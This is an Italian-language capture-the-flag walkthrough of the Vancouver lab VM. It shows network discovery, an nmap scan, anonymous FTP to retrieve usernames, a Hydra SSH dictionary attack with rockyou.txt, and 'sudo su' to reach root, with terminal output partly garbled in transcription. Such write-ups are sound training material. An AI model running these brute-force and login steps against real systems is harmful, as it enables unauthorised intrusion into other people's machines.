Stiamo svolgendo una black box sulla macchina Vancover, il nostro obbietivo e di riscuir ad avere i permessi di root.

Si inizia con una scansione della rete con net discover per poter trovar ip della macchina target .



Trovato ip non ci rimane altro che usare un port scanning come nmpa per poter vedere i servizi e le porte che son aperte e funzionanti sul target .

Apriamo il terminare e lanciamo il comando nmap -sv -A -O seguito dall'indirizzo ip .

```
-$ <u>sudo</u> nmap -sV -O -A -T5 192.168.56.105
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-29 14:01 EDT
Nmap scan report for 192.168.56.105
Host is up (0.011s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
|ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.56.106
  Logged in as ftp
   TYPE: ASCII
  No session bandwidth limit
  Session timeout in seconds is 300
  Control connection is plain text
  At session startup, client count was 4
   vsFTPd 2.3.5 - secure, fast, stable
 _End of status
ssh-hostkey:
1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)
 2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)
256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
```

Possiamo vedere che ci sono 3 porte aperte con altrettanti servizi attivi . Useremo ftp per entrare traminte anonimous .

Percio apriremo il terminale e digitteremo quando segue

Grazie ad esso siamo venuti a conoscenza di un file che al suo interno risiedevano i nome degli users .

Scarichiamo il file con il comando get e non ci rimane altro che fare un attacco a dizionario tramite il tool hydra per provare ad acquisire la password .

```
    □$ hydra -l anne -P ~/Desktop/rockyou.txt 192.168.56.105 -t 4 ssh

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secr
et service organizations, or for illegal purposes (this is non-binding, these *** ignore laws
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) at 2023-09-29 14:08:09

[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344398 login tries (l:1/p:14344398), ~3586

100 tries per task

[DATA] attacking ssh://192.168.56.105:22/

[22][ssh] host: 192.168.56.105 login: anne password. _______

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) l at 2023-09-29 14:08:28
```

Dal immagine sopra citata possiamo vedere come abbiamo usato un file di password all'interno del comando con il reciproco protocollo che in questo caso è ssh , esso ci permettera di creare una shell e pilotare il target da remoto .

Ora che sappiamo users e la password basta lanciar il comando (come in foto sottostante) per poter usufruire del protocollo .

```
–(kali⊛ kali)-[~]∶
 -$ ssh anne@192.168.56.105
anne@192.168.56.105's passwo 1:
Welcome to Ubuntu 12 )4.4 LTS (GNU/Linux 3.11.0-15-generic i6
* Documentation: https://help.ubuntu.com/
382 packages can be updated.
275 updates are security updates.
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Fri Sep 29 11:11:05 2023 from 192.168.56.106
anne@bsides2018:~$ sudo su
[sudo] password for anne:
root@bsides2018:/home/anne#cd
root@bsides2018:~# ls
flag.txt
root@bsides2018:~# touch flag.txt
root@bsides2018:~# nano flag.txt
root@bsides2018:~#
```

non ci rimane altro che sare il comando sudo su ed immettere la password .Abbiamo i permessi di root!

Ora scovando tra le directory troveremo un file, apriamolo ...

## Congratulations!

If you can read this, that means you were able to obtain root permissions on this VM. You should be proud!

There are multiple ways to gain access remotely, as well as for privilege escalation. Did you find them all?

@abatchy17